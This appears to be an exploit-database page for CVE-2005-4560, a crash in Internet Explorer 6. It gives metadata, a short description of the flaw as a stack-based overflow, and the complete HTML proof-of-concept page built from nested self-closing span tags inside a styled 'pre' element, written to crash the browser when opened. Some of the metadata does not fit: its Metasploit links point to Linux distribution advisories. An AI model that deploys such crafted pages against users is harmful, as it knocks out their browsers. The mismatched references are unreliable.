header-logo
Suggest Exploit
vendor:
Internet Explorer
by:
milw0rm.com
8,8
CVSS
HIGH
Internet Explorer Crash
119
CWE
Product Name: Internet Explorer
Affected Version From: Internet Explorer 6.0
Affected Version To: Internet Explorer 6.0 SP2
Patch Exists: YES
Related CWE: CVE-2005-4560
CPE: a:microsoft:internet_explorer
Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-SUSE-SR-2006-002-vuln1/, https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2006-0106/
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2005

Lets IE crash

This exploit causes Internet Explorer to crash when a maliciously crafted HTML page is opened. The vulnerability is caused due to an error in the way Internet Explorer handles certain HTML tags. This can be exploited to cause a stack-based buffer overflow by e.g. embedding a maliciously crafted HTML page in an e-mail message or web page.

Mitigation:

Upgrade to the latest version of Internet Explorer
Source

Exploit-DB raw data:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
	<title>Lets IE crash</title>
	<style type="text/css">
		pre {
			white-space:normal;
		}
	</style>
</head>

<body>

	<pre>
		<span /><span />
	</pre>

</body>

</html>

# milw0rm.com [2005-12-14]

Navigation

Suggest Exploit

Services By CQR